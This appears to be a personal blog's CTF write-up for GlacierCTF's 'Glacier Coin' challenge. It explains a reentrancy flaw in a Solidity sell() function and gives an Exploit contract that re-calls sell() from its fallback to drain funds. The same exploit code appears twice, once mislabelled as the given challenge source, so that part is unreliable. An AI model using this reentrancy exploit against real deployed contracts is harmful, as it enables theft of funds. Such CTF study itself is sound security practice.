Embarking on a journey to regularly update my blog, here's my initial attempt at a CTF write-up. I participated in GlacierCTF with my team, thehackerscrew, and we achieved an impressive 5th place finish.
Glacier Coin
We were given the source file which looks like this:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Challenge.sol";
contract Exploit {
GlacierCoin public coin;
constructor(address _target) payable {
coin = GlacierCoin(_target);
}
fallback() external payable {
coin.sell(10 ether);
}
function attack() external payable {
coin.buy{value: 10 ether}();
coin.sell(10 ether);
}
A careful examination reveals a pattern characteristic of the well-known reentrancy attack: (msg.sender).call{value: amount}("");
. This pattern enables the caller, or 'msg.sender', to initiate a callback to their own address, potentially a smart contract. To delve deeper into reentrancy attacks, you can find more information here.
The 'sell()' function in our context lacks a reentrancy guard and doesn't adhere to the checks-effects-interactions pattern. Consequently, invoking 'sell()' from a smart contract allows for the possibility of reentering the same function. As the contract attempts to transfer funds, our contract can trigger 'sell()' again. Since the contract's state isn't updated immediately, it erroneously permits the redemption of more funds than were initially deposited.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Challenge.sol";
contract Exploit {
GlacierCoin public coin;
constructor(address _target) payable {
coin = GlacierCoin(_target);
}
fallback() external payable {
coin.sell(10 ether);
}
function attack() external payable {
coin.buy{value: 10 ether}();
coin.sell(10 ether);
}